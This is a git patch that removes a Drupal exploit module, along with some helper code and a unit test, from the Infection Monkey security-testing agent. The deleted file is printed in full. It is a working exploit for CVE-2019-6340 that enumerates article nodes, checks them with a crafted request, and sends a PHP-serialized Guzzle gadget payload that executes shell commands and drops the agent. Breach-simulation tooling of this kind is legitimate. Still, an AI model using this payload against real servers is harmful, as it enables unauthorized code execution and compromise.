From 6052ca8fcc742b74800ac8236bd68f845949316b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 8 Apr 2022 13:41:23 +0530 Subject: [PATCH] Agent: Remove DrupalExploiter and related code --- monkey/common/network/network_utils.py | 9 - monkey/infection_monkey/exploit/drupal.py | 197 ------------------ monkey/infection_monkey/exploit/web_rce.py | 16 +- .../common/network/test_network_utils.py | 11 +- 4 files changed, 2 insertions(+), 231 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/drupal.py diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index c0c04a9d0..f686268e0 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,13 +1,4 @@ -import re from typing import Optional, Tuple -from urllib.parse import urlparse - - -def remove_port(url): - parsed = urlparse(url) - with_port = f"{parsed.scheme}://{parsed.netloc}" - without_port = re.sub(":[0-9]+(?=$|/)", "", with_port) - return without_port def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]: diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py deleted file mode 100644 index fec12c5b2..000000000 --- a/monkey/infection_monkey/exploit/drupal.py +++ /dev/null @@ -1,197 +0,0 @@ -""" -Remote Code Execution on Drupal server - CVE-2019-6340 -Implementation is based on: - https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88 - /f9f6a5bb6605745e292bee3a4079f261d891738a. -""" - -import logging -from urllib.parse import urljoin - -import requests - -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.network.network_utils import remove_port -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import ID_STRING - -logger = logging.getLogger(__name__) - - -class DrupalExploiter(WebRCE): - _EXPLOITED_SERVICE = "Drupal Server" - - def __init__(self, host): - super(DrupalExploiter, self).__init__(host) - - def get_exploit_config(self): - """ - We override this function because the exploits requires a special extension in the URL, - "node", - e.g. an exploited URL would be http://172.1.2.3:/node/3. - :return: the Drupal exploit config - """ - exploit_config = super(DrupalExploiter, self).get_exploit_config() - exploit_config["url_extensions"] = [ - "node/", # In Linux, no path is added - "drupal/node/", - ] # However, Bitnami installations are under /drupal - exploit_config["dropper"] = True - return exploit_config - - def add_vulnerable_urls(self, potential_urls, stop_checking=False): - """ - We need a specific implementation of this function in order to add the URLs *with the - node IDs*. - We therefore check, for every potential URL, all possible node IDs. - :param potential_urls: Potentially-vulnerable URLs - :param stop_checking: Stop if one vulnerable URL is found - :return: None (in-place addition) - """ - for url in potential_urls: - try: - node_ids = find_exploitbale_article_ids(url) - if node_ids is None: - logger.info("Could not find a Drupal node to attack") - continue - for node_id in node_ids: - node_url = urljoin(url, str(node_id)) - if self.check_if_exploitable(node_url): - self.add_vuln_url( - url - ) # This is for report. Should be refactored in the future - self.vulnerable_urls.append(node_url) - if stop_checking: - break - except Exception as e: # We still don't know which errors to expect - logger.error(f"url {url} failed in exploitability check: {e}") - if not self.vulnerable_urls: - logger.info("No vulnerable urls found") - - def check_if_exploitable(self, url): - """ - Check if a certain URL is exploitable. - We use this specific implementation (and not simply run self.exploit) because this - function does not "waste" - a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. - :param url: Drupal's URL and port - :return: Vulnerable URL if exploitable, otherwise False - """ - payload = build_exploitability_check_payload(url) - - response = requests.get( # noqa: DUO123 - f"{url}?_format=hal_json", - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - - if is_response_cached(response): - logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") - return False - - return "INVALID_VALUE does not correspond to an entity on this site" in response.text - - def exploit(self, url, command): - # pad a easy search replace output: - cmd = f"echo {ID_STRING} && {command}" - base = remove_port(url) - payload = build_cmd_execution_payload(base, cmd) - - r = requests.get( # noqa: DUO123 - f"{url}?_format=hal_json", - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT, - ) - - if is_response_cached(r): - logger.info(f"Exploiting {url} returned cache HIT, may have failed") - - if ID_STRING not in r.text: - logger.warning("Command execution _may_ have failed") - - result = r.text.split(ID_STRING)[-1] - return result - - def get_target_url(self): - """ - We're overriding this method such that every time self.exploit is invoked, we use a fresh - vulnerable URL. - Reusing the same URL eliminates its exploitability because of caching reasons :) - :return: vulnerable URL to exploit - """ - return self.vulnerable_urls.pop() - - def are_vulnerable_urls_sufficient(self): - """ - For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. - :return: Whether the list of vulnerable URLs has at least 5 elements. - """ - # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, - # chmod it and run it. - num_urls_needed_for_full_exploit = 5 - num_available_urls = len(self.vulnerable_urls) - result = num_available_urls >= num_urls_needed_for_full_exploit - if not result: - logger.info( - f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " - f"Drupal server " - f"but only {num_available_urls} found" - ) - return result - - -def is_response_cached(r: requests.Response) -> bool: - """Check if a response had the cache header.""" - return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT" - - -def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: - """Find target articles that do not 404 and are not cached""" - articles = set() - while lower < upper: - node_url = urljoin(base_url, str(lower)) - response = requests.get( # noqa: DUO123 - node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT - ) - if response.status_code == 200: - if is_response_cached(response): - logger.info(f"Found a cached article at: {node_url}, skipping") - else: - articles.add(lower) - lower += 1 - return articles - - -def build_exploitability_check_payload(url): - payload = { - "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, - "type": {"target_id": "article"}, - "title": {"value": "My Article"}, - "body": {"value": ""}, - } - return payload - - -def build_cmd_execution_payload(base, cmd): - payload = { - "link": [ - { - "value": "link", - "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' - 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' - 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' - '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' - 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' - 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' - 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' - 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' - "".replace("|size|", str(len(cmd))).replace("|command|", cmd), - } - ], - "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, - } - return payload diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 3a546d321..4f32a2f3f 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -85,9 +85,6 @@ class WebRCE(HostExploiter): ) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) - if not self.are_vulnerable_urls_sufficient(): - return False - # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) @@ -424,18 +421,7 @@ class WebRCE(HostExploiter): """ This method allows "configuring" the way in which a vulnerable URL is picked. If the same URL should be used - always return the first. - Otherwise - implement your own (e.g. Drupal must use a new URI each time). + Otherwise - implement your own. :return: a vulnerable URL """ return self.vulnerable_urls[0] - - def are_vulnerable_urls_sufficient(self): - """ - Determine whether the number of vulnerable URLs is sufficient in order to perform the - full attack. - Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a - vulnerable URL is for - single use, thus we need a couple of them. - :return: Whether or not a full attack can be performed using the available vulnerable URLs. - """ - return len(self.vulnerable_urls) > 0 diff --git a/monkey/tests/unit_tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py index 969837ee5..1d4aac451 100644 --- a/monkey/tests/unit_tests/common/network/test_network_utils.py +++ b/monkey/tests/unit_tests/common/network/test_network_utils.py @@ -1,13 +1,4 @@ -from unittest import TestCase - -from common.network.network_utils import address_to_ip_port, remove_port - - -class TestNetworkUtils(TestCase): - def test_remove_port_from_url(self): - assert remove_port("https://google.com:80") == "https://google.com" - assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" - assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com" +from common.network.network_utils import address_to_ip_port def test_address_to_ip_port():